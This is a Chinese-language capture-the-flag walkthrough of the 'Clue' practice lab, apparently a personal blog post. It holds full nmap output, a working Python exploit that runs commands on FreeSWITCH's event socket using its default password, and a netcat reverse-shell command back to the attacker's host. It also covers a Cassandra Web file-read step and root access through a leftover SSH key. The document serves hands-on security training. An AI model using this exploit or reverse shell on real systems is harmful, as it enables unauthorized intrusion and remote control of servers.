靶场(十一)---小白心得靶场思路---Clue
启程:
老样子先扫端口,然后我们获取了几个重点信息,这个靶场前期打点很难,所以这回开头我会先分析一下端口服务,首先我们先排除22端口,然后我们看到80,3000端口都开放HTTP服务考虑可能需要遍历,这里我们需要额外的关注一下8021端口开放的服务(我当时就没注意这个服务,转了半天死弯)
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c (RSA)
| 256 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e (ECDSA)
|_ 256 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 (ED25519)
80/tcp open http Apache httpd 2.4.38
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: 403 Forbidden
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3000/tcp open http Thin httpd
|_http-title: Cassandra Web
|_http-server-header: thin
8021/tcp open freeswitch-event FreeSWITCH mod_event_socket
Service Info: Hosts: 127.0.0.1, CLUE; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h20m01s, deviation: 2h18m36s, median: 0s
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.9.5-Debian)
| Computer name: clue
| NetBIOS computer name: CLUE\x00
| Domain name: pg
| FQDN: clue.pg
|_ System time: 2025-03-15T21:31:54-04:00
| smb2-time:
| date: 2025-03-16T01:31:55
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
访问3000端口我们我们先发现一个服务,这个时候页面没有啥有意思的功能点,遂去看这个程序有无exp
去访问之后发现存在文件读取漏洞,到目前为止都没啥问题(因为我看这个漏洞可以读带文件的绝对路径,我还以为是可以读到个hash解密)
这里msfconsole默认读取的文件为passwd,这里不做更改,先看存在用户都有谁,然后执行之后顺利看到passwd中用户,可惜的是并无hash,
我看了其他的执行文件,发现还有一个路径还可以访问,得到了一个票据,以为是有用的,结果根本连不上。。。
这时候我又看到一个远控的exp,但是他需要满足如下前提条件,这个时候尝试了一下没成功遂放弃
后来我实在没东西了就去smb上面看看有无密码文件,不过当时密码文件没找到,找到了配置文件,我用grep命令筛了一下,知道了我的第二个exp为啥不成功
后来我实在没办法了,看了一眼题解,发现我们漏了一个关键服务(其实就算没漏掉这个服务,也想不到去读他的配置文件,还藏得那么死)
然后我们读了这个服务,获取了一个密码
在获得这个密码时,同样对多个用户进行ssh登录尝试,还是不行
后来我们去查看了该服务的exp,把我们之前读配置文件密码更换一下就可使用,这里大家直接复制我这个就行
#!/usr/bin/python3
from socket import *
import sys
if len(sys.argv) != 3:
print('Missing arguments')
print('Usage: freeswitch-exploit.py <target> <cmd>')
sys.exit(1)
ADDRESS=sys.argv[1]
CMD=sys.argv[2]
PASSWORD='StrongClueConEight021' # default password for FreeSWITCH
s=socket(AF_INET, SOCK_STREAM)
s.connect((ADDRESS, 8021))
response = s.recv(1024)
if b'auth/request' in response:
s.send(bytes('auth {}\n\n'.format(PASSWORD), 'utf8'))
response = s.recv(1024)
if b'+OK accepted' in response:
print('Authenticated')
s.send(bytes('api system {}\n\n'.format(CMD), 'utf8'))
response = s.recv(8096).decode()
print(response)
else:
print('Authentication failed')
sys.exit(1)
else:
print('Not prompted for authentication, likely not vulnerable')
sys.exit(1)
GitHub - WoodenKlaas/CVE-2021-44521: Automated PoC of CVE-2021-44521 同时我将给出poc链接,想尝试的可以直接下
这个时候我们使用改完的poc,发现可以执行命令,但是这个时候我相信大多数人都想着执行反弹shell的命令,巧了我也是这么想的
于是我执行力七八种马子就是连不上,我一度认为我命令出问题了,后来又看了一下发现是人家主机上防火墙了,除了他开放的那几个端口可以出流量,其他端口根本不让往外走流量。。。
python3 1.py 192.168.52.240 "nc -nv 192.168.49.52 7777 -e /bin/bash"
我换了一堆命令呀,结果告诉我端口也限制。。。
最后将监听端口换成80或3000都可以收到反弹的shell
然后由于端口被防火墙限制,linpeas无法下载执行,于是就开始往脑残方向的角度想,因为上一个不让上linpeas的,管理员的用户和密码是同一个,所以我首先试一下之前获得的票据,看能不能换个身份,尝试之后果然获得了cassie的身份
然后我使用sudo -l看到一个好像可以提权,尝试之后确实可以往出连但是执行不了命令,也就放弃了,底下都是我的失败尝试就不过多解释了,大家看个乐呵就行
然后因为啥都没有的情况下我就去找普通用户的local.txt文件了,结果翻着翻着就翻出来了一个东西
我们在读cassie用户底下目录的时候发现了一个id_rsa文件,这玩意儿不好好在.ssh目录下呆着,那就证明肯定有问题,遂出现一个脑残的想法
我拿这个私钥进行连接root用户,结果真连上了。。。。
说真的我当时提完权都无语了,我想到会有问题,但没想到这么有问题,最后我们拿find命令找一下普通用户的local.txt文件收一下尾。
find / -name local.txt 2>&1 | grep -v "Permission denied"
总结:
虎头蛇尾,前面找入口费死劲了,后面提权又这么无脑,我的建议是把这个靶场的找入口着重看一下,至于提权全当一乐无需关注